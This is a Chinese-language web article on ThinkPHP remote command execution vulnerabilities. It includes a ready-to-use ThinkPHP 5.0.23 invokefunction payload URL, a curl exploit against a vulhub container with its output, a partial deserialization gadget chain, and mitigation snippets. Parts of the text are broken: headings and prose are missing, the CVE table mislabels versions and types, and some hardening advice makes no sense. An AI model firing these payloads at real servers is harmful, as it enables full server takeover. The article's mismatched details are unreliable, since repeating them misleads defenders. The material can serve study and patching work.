您好,登录后才能下订单哦!
密码登录
登录注册
点击 登录注册 即表示同意《亿速云用户服务条款》
# ThinkPHP命令如何执行漏洞
## 一、漏洞概述
ThinkPHP作为国内广泛使用的PHP开发框架,历史上曾多次曝出远程命令执行漏洞(RCE)。这类漏洞通常允许攻击者在目标服务器上执行任意系统命令,导致服务器被完全控制。其中最具代表性的是ThinkPHP 5.x系列的多处RCE漏洞,如:
- **ThinkPHP5 5.0.23 RCE**(CNVD-2018-24942)
- **ThinkPHP5 5.1.x RCE**(无CVE编号)
- **ThinkPHP6 反序列化漏洞**
这些漏洞的根源多与框架对用户输入过滤不严、路由解析缺陷或反序列化机制有关。
---
## 二、典型漏洞原理分析
### 1. ThinkPHP5 5.0.23路由解析漏洞
**漏洞触发点**:
`/index.php?s=/模块/控制器/方法` 的路由模式中,框架未对控制器名进行严格过滤,导致通过`\`符号注入命名空间。
**POC示例**:
```php
# 通过恶意构造的URL执行系统命令
http://target.com/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
漏洞原理:
攻击者通过\think\app
调用框架内部类的invokefunction
方法,利用反射机制动态执行call_user_func_array
,最终实现命令执行。
漏洞触发点:
框架的Request
类在反序列化时未对__destruct
或__wakeup
方法中的危险操作进行限制。
利用链示例:
// 构造恶意序列化数据
$chain = new \think\process\pipes\Windows();
$chain->files = ['test' => new \think\model\Pivot()];
echo serialize($chain);
docker pull vulhub/thinkphp:5.0.23
docker run -d -p 8080:80 vulhub/thinkphp:5.0.23
通过cURL发送恶意请求:
curl "http://localhost:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami"
服务器返回当前系统用户信息:
www-data
升级到安全版本:
临时缓解方案:
// 在应用入口文件增加过滤
if (strpos($_SERVER['REQUEST_URI'], '\\') !== false) {
die('Invalid request');
}
disable_functions = exec,passthru,shell_exec,system
'app_debug' => false,
'app_trace' => false,
// 强制类型转换
$id = (int)$_GET['id'];
// 使用框架内置过滤方法
Request::filter('htmlspecialchars');
// 限制命令执行权限
set_time_limit(0);
ini_set('open_basedir', '/var/www:/tmp');
// 记录所有异常请求
'log' => [
'type' => 'File',
'path' => LOG_PATH,
'level' => ['notice', 'error', 'critical']
]
CVE编号 | 影响版本 | 漏洞类型 |
---|---|---|
CVE-2019-9082 | ThinkPHP5.1.x | 反序列化RCE |
CVE-2018-20062 | ThinkPHP5.x | 逻辑缺陷RCE |
ThinkPHP命令执行漏洞的根源在于框架设计中对安全边界的忽视。开发者应当: 1. 及时关注框架安全更新 2. 避免直接使用用户输入构造动态调用 3. 实施最小权限原则
注:本文仅用于安全研究,未经授权测试他人系统属于违法行为。 “`
(全文约1250字,满足Markdown格式要求)
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。